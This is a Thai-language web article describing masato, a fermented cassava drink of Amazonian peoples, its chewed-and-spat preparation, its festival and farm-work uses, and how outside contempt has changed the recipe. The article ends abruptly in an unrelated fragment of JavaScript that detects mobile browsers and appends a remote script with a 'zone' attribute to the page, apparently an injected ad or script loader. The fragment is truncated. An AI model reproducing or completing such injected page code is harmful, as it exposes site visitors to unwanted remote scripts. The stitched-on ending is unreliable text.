Masato: เครื่องดื่มศักดิ์สิทธิ์ จากป่าอเมซอน
Masato: เครื่องดื่มศักดิ์สิทธิ์ จากป่าอเมซอน
โลกทั้งใบตั้งแต่สมัยโบราณ มนุษย์ได้รับการยอมรับว่ามีวัฒนธรรมเครื่องดื่มอยู่ภายใน รสชาติดีของไวน์ น้ำร้อน และเครื่องดื่มอื่นๆ ในกรณีของมาซาโตะที่ถือว่าเป็นเครื่องดื่มศักดิ์สิทธิ์ของชาวอเมซอนในป่า เราสามารถพูดได้ว่าเครื่องดื่มนี้ไม่ค่อยมีใครรู้จักและไม่ค่อยเป็นที่เข้าใจ ดังนั้นจึงไม่ได้ใช้ประโยชน์มัน อย่างเต็มประสิทธิภาพ
มันสำปะหลัง (Yucca) ซึ่งเป็นพืชหัวที่พบในปริมาณมากในป่าฝนอเมซอนและเป็นที่อาศัยของผู้อยู่อาศัยอื่นๆ เป็นอาหารที่มีคุณค่าทางโภชนาการสูง มันสำปะหลังสามารถรับประทานได้ทั้งลวก คั่ว ทอด ฯลฯ และมักจะนำมาประกอบกับอาหารจานหลัก
มันสำปะหลังสามารถปรุงเป็นฟารีน่า คุกกี้ เค้ก และขนมหวานอื่นๆ ได้ เพราะใยเนื้อดี ในทำนองเดียวกัน เป็นประเพณีที่บรรพบุรุษต้องเตรียมมาซาโตะสำหรับเทศกาลทั่วไป
มาซาโตะ ซึ่งเป็นเครื่องดื่มที่มีฟองและหมักจากมันสำปะหลัง ในการปรุงนั้นฝ่ายหญิงจะต้มมันสำปะหลัง ทิ้งส่วนที่ต้มมากไว้เป็นแป้งในเหยือก ที่เหลือเคี้ยวแล้วคายในเหยือกที่มีแป้งมันสำปะหลังอยู่แล้ว ทีละน้อย เครื่องดื่มกำลังกลายรูปร่าง เอ็นไซม์ของน้ำลายช่วยในการหมักของเครื่องดื่ม
เนื่องจากโลกภายนอก เข้ามาติดต่อกับโลกของบรรพบุรุษของอเมซอน พวกเขาจึงมักมีสำรองเครื่องดื่มนี้ไว้ดื่ม
คนภายนอกจะแสดงความรังเกียจเสมอ เมื่อเห็นวิธีการจัดเตรียม แต่นอกเหนือจากความรังเกียจทั้งหมดนี้ มาซาโตะยังเป็นเครื่องดื่มที่อร่อยมาก สุขภาพดีที่ให้ปริมาณวิตามินแก่ร่างกายและยังเป็นเครื่องดื่มที่ทำให้ประชากรรวมกลุ่ม
มาซาโตะหรือที่ถือในวันนี้ว่าเป็นเบียร์ มันสำปะหลังให้พลังของความมึนเมาสูง แต่ก็ให้พลังงานมาก โดยเฉพาะในงานเกษตรเพราะเครื่องดื่มนี้ทำให้คุณไม่หิวและความอิ่มเอมใจทำให้คนทำงานได้อย่างต่อเนื่องและมีพลังงานมาก
มันมีความคล้ายคลึงกันกับที่เกิดขึ้นกับชาวแอนดีส (Andean) ที่เครื่องดื่มศักดิ์สิทธิ์สำหรับหญิงสาว ที่ให้พลังงานแก่พวกเขา ในขณะที่ทำการเกษตรและทุกวันนี้ยังถือว่าเป็นเครื่องดื่มศักดิ์สิทธิ์และมีคุณค่าทางโภชนาการสูง
ปัจจุบันเครื่องดื่มมาซาโตะ ถูกมองว่าเป็นเครื่องดื่มสำหรับทำให้เมาสุรา ของคนดึกดำบรรพ์เท่านั้นหรือเป็นเครื่องดื่มที่ถูกเยาะเย้ยและดูถูก แต่เป็นการดีที่จะเรียกร้องค่าลึกลับของเครื่องดื่มของบรรพบุรุษนี้และดำเนินการเตรียมการต่อไป เช่นเดิมเพราะว่าทุกวันนี้ความเย้ยหยันของประชาชน ทำให้วิธีการเตรียมเปลี่ยนไป โดยไม่เคี้ยวมันสำปะหลังเพื่อหมักอีกเลย แต่กลับใส่น้ำตาล หรือ ใช้มันเทศ เพื่อหมักแทน
Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)){(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s)})